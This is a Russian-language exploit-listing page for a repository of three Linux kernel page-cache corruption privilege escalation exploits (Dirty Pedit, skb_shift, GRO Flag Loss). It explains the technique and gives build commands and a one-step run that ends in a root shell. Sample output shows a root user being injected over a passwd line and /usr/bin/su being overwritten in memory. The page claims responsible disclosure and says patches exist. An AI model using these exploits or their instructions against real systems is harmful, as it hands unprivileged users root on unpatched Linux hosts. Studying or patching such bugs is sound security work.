## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RJT-GUPTA-PAGE-CACHE-CORRUPTION-LPES
# Page Cache Corruption LPEs
**3 эксплуатации локального повышения привилегий для ядра Linux. Тот же класс ошибок, что и Dirty COW и Dirty Pipe. Root-доступ за секунды. Затронуты все основные дистрибутивы.**
Все три повреждают кэш страниц ядра — копию файлов в памяти, из которой процессы фактически читают и выполняют. Файл на диске никогда не затрагивается. Инструменты проверки целостности файлов ничего не видят. `execve("/usr/bin/su")` загружается из кэша → выполняется ваш шеллкод → root.
* * *
## Эксплойты
Эксплойт| CVE| Механизм| Время до root| Строк
---|---|---|---|---
**Dirty Pedit**| CVE-2026-46331| Окно COW TC pedit (переполнение u32)| **< 1 секунды**| 275
**skb_shift**| CVE-2026-43503| Потеря флага передачи фрагмента TCP SACK| ~10 секунд| 500
**GRO Flag Loss**| CVE-2026-43503| Потеря флага передачи фрагмента при слиянии GRO| ~10 секунд| 550
Все три: непривилегированный → root. Никаких специальных разрешений. Только пользовательские пространства имён.
* * *
## Какой класс ошибок?
Каждый эксплойт в этом репозитории следует одному шаблону:
root@kitploit:~
1. Получить страницы кэша страниц в буфер ядра (splice)
2. Обойти защиту копирования при записи
3. Записать на месте → файл, доступный только для чтения, повреждён в памяти
Разница заключается в ТОМ, КАК обходится защита и ЧТО выполняет запись:
* * *
## Родословная
root@kitploit:~
2016 Dirty COW Гонка COW через mmap + fork
2022 Dirty Pipe Застарелый PIPE_BUF_FLAG_CAN_MERGE в splice
2026 Copy Fail AEAD на месте AF_ALG на scatterlist кэша страниц
2026 Dirty Frag ESP skip_cow на фрагментированных splice (отсутствующий флаг)
2026 Fragnesia skb_try_coalesce сбрасывает флаг SHARED_FRAG
2026 Dirty Pedit ← Окно COW TC pedit, криптография не требуется
2026 skb_shift ← TCP SACK сбрасывает SHARED_FRAG, ESP записывает
2026 GRO Flag Loss ← Слияние GRO сбрасывает SHARED_FRAG, ESP записывает
* * *
## Затронутые версии
Конфигурации по умолчанию. Для уязвимости не требуется дополнительное hardening. Если вы используете Linux, вы были затронуты.
* * *
## Почему Dirty Pedit отличается
skb_shift и GRO используют одну и ту же технику эксплуатации: потерять флаг `SKBFL_SHARED_FRAG`, затем позволить криптографии ESP выполнять XOR в страницы кэша страниц по одному байту за раз, используя предварительно вычисленную таблицу поиска IV.
Dirty Pedit — это совершенно другой зверь:
* **Без криптографии.** Ни XFRM, ни ESP, ни AES-GCM, ни таблиц IV.
* **Прямая запись.** TC pedit записывает именно те байты, которые вы указываете, через `skb_store_bits`.
* **Меньше секунды.** Один пакет = 12 записанных байт. Root за один раз.
* **Другой обход защиты.** Не затрагивает SHARED_FRAG вообще — ломает `skb_ensure_writable` через целочисленное переполнение.
* * *
## Сборка
root@kitploit:~
# Сборка всех трёх
cd dirty_pedit && gcc -static -O2 -o exploit exploit.c && cd ..
cd skb_shift && gcc -static -O2 -o exploit exploit.c && cd ..
cd gro && gcc -static -O2 -o exploit exploit.c && cd ..
Каждый эксплойт — это один самодостаточный файл на C. Зависимостей, кроме libc, нет.
* * *
## Запуск
root@kitploit:~
# Любой из трёх (без привилегий):
./exploit
# → root shell
Требуется: ядро Linux в диапазоне затронутых версий + `CONFIG_USER_NS=y` (по умолчанию во всех основных дистрибутивах).
* * *
## Вывод (Dirty Pedit)
root@kitploit:~
[*] Dirty Pedit — Local Privilege Escalation
[*] uid=1000 pid=42
[*] Victim line at offset 186: nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
[*] Injecting user 'a' (uid=0, no password) over victim line...
[+] User 'a' injected with uid=0!
[+] Running: su a
# id
uid=0(root) gid=0(root) groups=0(root)
## Вывод (skb_shift / GRO)
root@kitploit:~
[*] uid=1000 euid=1000
[*] IV table pre-computed (256 entries)
[*] Writing 192 bytes to /usr/bin/su...
[120] 0x00→0x48 ... OK
[121] 0x00→0x31 ... OK
[*] Write complete: 192/192
[!] /usr/bin/su page cache overwritten!
# whoami
root
* * *
## Ключевые свойства
* * *
## Ответственное раскрытие
Все уязвимости были ответственно раскрыты команде по безопасности ядра Linux и разработчикам сети. Патчи объединены в вышестоящей ветке и перенесены в стабильные деревья.
* CVE-2026-46331: Исправлено в v7.1-rc7, коммит `899ee91156e5`
* CVE-2026-43503: Исправлено в v7.1-rc5, коммит `48f6a5356a33`
Эти эксплойты опубликованы в образовательных и защитных целях после того, как были доступны патчи. Повреждение кэша страниц — только в памяти; перезагрузка или `echo 1 > /proc/sys/vm/drop_caches` восстанавливает исходные файлы.
* * *
## Автор
**Rajat Gupta** — Offensive Security @ Qualcomm
* * *
## Лицензия
MIT